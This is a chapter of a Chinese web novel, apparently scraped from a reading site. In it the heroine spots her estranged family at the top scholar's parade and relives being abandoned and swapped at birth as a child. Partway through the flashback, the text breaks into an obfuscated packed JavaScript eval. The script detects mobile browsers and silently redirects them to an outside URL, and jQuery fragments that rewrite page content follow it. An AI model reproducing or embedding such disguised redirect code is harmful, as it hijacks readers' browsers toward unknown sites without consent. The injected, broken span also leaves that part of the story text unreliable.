58. 爹娘

作品:《听见穿越女心声后

    四月二十,殿试放榜,柳清风成了当之无愧的状元郎。


    林玚在那本书里提前看到了结果,并不意外。


    自那次柳清风遇害被救后,他与林府的关系也日渐深厚,其实主要是林亦。


    他看了柳清风写的文章后,甚是赞扬,整日拉着他同自己交流,在林玚看来,其实就是一个书呆子和另一个书呆子结为知己的故事。


    作为状元郎要游街,柳清风特意邀请了周宁宁几人去捧场。


    明居楼的厢房正好能看到游街,也不用特意去提前抢定位子。


    每三年一次的游街,当然是盛大热闹了,游行的那条街上绝佳的观礼位子皆被订满,街道两侧人山人海,皆是围观的百姓。


    林玚几人一大早便来了明居楼,顺便吃上酒楼中出名的早点,一同观看此等盛景。


    周宁宁打开窗户往外看,“真热闹,柳清风怎么还没来”。


    “别急,应该快来了”萧玥走到周宁宁旁边,拍了拍她的肩。


    街道黄沙铺地,净水泼街。


    这时,柳清风身着御赐状元袍,头戴金华乌纱帽,胸配大红花,骑着白马而来。


    “来了来了”周宁宁喊到,“阿姐,你快来看”。


    林玚正喝着茶,吃了口糕点,不急不缓走向窗边,柳清风知道几人在哪,往她们这一看,点头示意。


    周宁宁激动挥了挥手。


    “这么激动,好似游街的是你”林玚见她这样,打趣道。


    周宁宁:“状元诶,我头一次见状元游街,还是我认识的人,到时候说我诊治过状元郎,多有面子”。


    林玚笑了笑,往窗外看去,正对着窗户的街道站着一对夫妻,一旁站着一位二十出头的女子,应该是那对夫妻的女儿。


    那女子看着俊俏的状元郎,心声向往道:“若我嫁给这状元郎该有多好”。


    她娘在一旁道:“状元郎算什么,他年岁看着比你小上不少,必是个不体贴的,等你认了亲,这京城哪个男子不是任你挑选”。


    “对对对,我女儿哪个男子都配的上”她爹附和。


    街上声音嘈杂,他们说的话林玚听不清,但他们的样貌她却看得一清二楚,那女子姓徐,叫徐烟,是林玚的妹妹,那对夫妻,男的叫徐庄,女的叫罗红,是林玚的爹娘。


    林玚别开眼,不再看他们,她也没想到,这么多年,她还能遇见他们。


    “天色还早,我们去街上逛逛吧”周宁宁提议道。


    另外两人应声好,但林玚站着那,一动不动,周宁宁拉着林玚:“阿姐,我们走吧”。


    林玚回过神,“好”。


    几人下楼后,明居楼的掌柜走上前来俯了俯身,问候她们吃得可好,眼睛笑眯着道:“今日的桃花酥是酒楼新研发出来的,可合几位胃口”。


    其实除了林玚,另外三人压根没吃,都兴奋地看着游街。


    林玚道:“挺好吃的,下次让你家主人也试试”。


    “好嘞”掌柜殷勤道,这几位可是酒楼的贵客,主人特地让他们好好招待。


    正好与徐家的人擦身而过。


    徐家三人走进酒楼,看见这一幕,徐烟惊叹道:“明居楼是京城最大的酒楼,这掌柜对那几位姑娘如此殷勤,是该是何等身份”。


    又仔细看了林玚几人的穿着,感慨道:“她们穿的真好看,那衣服首饰肯定很贵吧”。


    罗氏也认真瞅了瞅,道:“你马上就会有的”,随后奇怪道:“那其中一人女子腰间竟别了把剑,这京城女子,这般这威风么”。


    徐父叫了声,“别看了,我们去吃饭”。


    “这酒楼看着好贵,爹你竟舍得下血本了”徐烟道。


    “以后我们想吃什么就吃什么,还担心这点小钱干什么”罗氏推着二人走进酒楼。


    他们说的话皆入了林玚耳中,尽管过了这么多年,这些话听到她耳边,竟还是有些刺耳。


    出了酒楼后,林玚愈发觉得胸闷,不想让其他几位担心,便找了个借口想离开。


    “你们且去逛逛,我有事要离开,今日看上的记在阿姐账上”林玚说完便离开了。


    几人显然见怪不怪了,不过周宁宁狐疑看着她:“阿姐你莫要找个地方偷偷喝酒”。


    “知道了,周神医”林玚神色如常,脸色没有丝毫心虚,距她受伤过了近两个月,周宁宁还是不忘警惕林玚喝酒,不利于伤势恢复。


    看着林玚远去,周宁宁一拍脑门:“遭了,忘记提醒阿姐晚上给柳大哥庆贺,她别忘了”。


    萧玥迟疑道,“应该不会吧,在林府吃饭,那时阿姐应当回来了吧”。


    宋溪:“我看未必”。


    周宁宁:“希望她记得”。


    周宁宁猜对了,林玚就是要去喝酒,且不说被周大夫耳提命面了两个月,她肚子里的酒虫早就忍不住了,再加上今日心烦,不喝酒难排心中郁气。


    至于在哪喝酒,那当然是摄政王府。


    除了周宁宁的警告,其实宋颐舟那个家伙也不想让她喝酒,府内的酒房都被他锁了。


    这哪里难得道林玚,摄政王府她来去自如,酒房的锁更是轻而易举地撬开。


    府上除了宋颐舟的影卫,其他下人完全没察觉到林玚进来。


    林玚坐在空地上,随手掀开一个酒坛往口里灌,脑海中逐渐想起五岁前的事。


    林玚同寻常孩童有些不同,自三岁起便开始记事,自记事起便以为家里很穷,她从未吃饱过饭,她有个小她两岁的妹妹。


    她一直以为,她的阿爹阿娘只是因为家里太穷了,顾不上她,觉得她没用,她一直以为是自己拖累了这个家,所以自她能走路起,她力气很大,很小便开始帮爹娘干活。


    她非常努力,就是为了让爹娘轻松些,可直到妹妹出生,林玚才知,阿爹阿娘只是单纯不喜她。


    她在这个家里是没有名字的,外人都叫她大丫,但妹妹有,家里的蛋,永远是妹妹的,家里的肉,也永远是妹妹的.


    无论妹妹如何闹腾,爹娘永远都不会怪罪,可她,一旦少干点活,一旦妹妹受了点委屈,都会被狠狠打骂。


    五岁那年,村子里发了大洪水,林玚和妹妹被洪水卷走,她好不容易将妹妹托举上岸,爹娘在岸上赶忙接过妹妹,可洪水又来了,林玚没有力气了,她拼命地喊阿爹阿姐救她,可他们一个眼神都未曾给她,只顾着看已晕倒过去的妹妹。


    林玚命大,被洪水冲到了离村子很远的岸上,被林九门捡到,救回了她一命,也因此让林九门发现了她筋脉特殊,是个天生的习武奇才,林九门问她可愿拜他为师,林玚那一刻心动了.


    可想起阿爹阿娘,那时,她心里还抱有一丝希冀,于是林玚求林九门带她回村子里,她想知道,阿爹阿娘可曾有一刻为她这个女儿伤心过。


    林玚被林九门带回村子,她站在远处,看着阿爹阿娘正修补被洪水冲烂的房屋,阿娘口中的话是像一把刀子,狠狠戳穿林玚本就伤痕累累的心.


    阿娘说:“可算将大丫送走了,自她来到我们家,我就想送她走了,要不是大夫说我难以再孕,村子里的人也知道大丫的存在,烟儿出生后,我更是想扔了她,这次的洪水来得真巧,她死了对谁都好”,


    林玚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15971043|174744||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    愣在原地,此刻,她竟是哭都哭不出来,阿爹的话将撕裂的伤口开了更大的口子:


    “都怪你,当年我们儿子刚出生气息奄奄,大夫说他活不了几天,是你没忍住诱惑,和那大户人家换了孩子,若没换,我们多花点银子,说不定能我们还能有个儿子伴在身旁”。


    这血淋淋的真相就这样一点点刮在林玚心上,痛到麻木。


    林九门也未曾想过林玚的身世会如此曲折,站在一旁看着林玚忍着泪水的样子,开口问:“如今听到这些,你可愿和我走”。


    林玚看向林九门,“你能教我很厉害的武功吗,我想变得和你一样厉害”。


    那时的林玚想,她要变强,这样,她就不会为了爹娘不要她而难过,不会被随意抛弃。


    林九门摸了摸林玚的头,“当然可以”。


    回了楠山后,林玚发了场高烧,将洪水之后的事全忘了,自是忘了她不是爹娘的亲生女儿,她即便忘了,还是请求林九门带她回去看看。


    林九门看着林玚高烧之后竟只忘记她那爹娘不是她亲生父母的事,便知那事是她的心魔,才是她心底在意的事。


    也是,若一个人自出生起,从未过过一天好日子,爹不疼娘不爱,偏生还有个妹妹对比,每日委屈痛苦,最后发现他们不爱自己是因为她不是他们的亲生女儿。


    而她的亲生父母也不爱她,甚至为了男儿将她换走,任谁来了都会崩溃,更何况她还只是一个五岁的女娃。


    林九门瞒下了她爹娘不是她亲生父母的事,而是告诉她她爹娘不要她了,林玚难过了很久,但她也心知肚明,并未闹着找爹娘,再加上林九门开始教她习武,她在楠山中的生活过得很好,便再未提过她的爹娘。


    不过林九门也粗心,完全没想过给林玚起个名字,每次都叫她大徒弟,是某次林玚同林亦一道读书时,林亦问起她的名字。


    林玚神色落寞,我爹娘没有给我取名字,外人都叫我大丫,林亦皱眉道:“这什么爹娘,名字都不给取”。


    见林玚更难过,林亦意识到自己戳到人家伤心处了,赶紧找补:“我不是那个意思,你有没有想取的名字,或者我给你取一个?”。


    林玚想了想,将手上的一个手串取下,上面有个木球,依稀能看出上面的字,林玚问:“这个字怎么念”。


    “玚[chang第四声]”林亦正好学过这个字,但他年岁小,只记得一个读音。


    “那我以后就叫林玚,随师父姓”林玚开心道。


    “林玚”林亦也念了一遍,“好名字”


    这颗手串自林玚出生起便戴在她手上,她曾问过阿爹阿娘手串是哪来的,那时他们闪烁其词,含糊道:“是一个远房亲戚在你出生时送的礼”。


    林玚觉得,她能活到现在,这条手串功不可没,依稀记得她四岁时,妹妹想要她的手串,阿娘便将她的手串抢过来给妹妹带。


    但当天晚上,林玚和妹妹发起了高烧,阿娘急忙将手串取出,戴回了林玚手上,这才让两个相安无事。


    阿娘总说手串邪乎的很,说她一岁时想将手串取下她就发烧,可戴回去又瞬间好了,可


    林玚觉得,手串一直在默默保护她,也是唯一属于她的东西。


    所以林玚以手串上的字给自己取了个名字,或许她出生时,也曾有人对她带着期盼,是真心的希望自己来到这个世上。


    五岁之前,林玚一直在被抛弃,被亲生父母抛弃,被养父养母抛弃。


    所幸,五岁后,她有了很多亲人朋友。


    但被亲生父母抛弃的事一直都是林玚内心深处无法磨灭的心魔。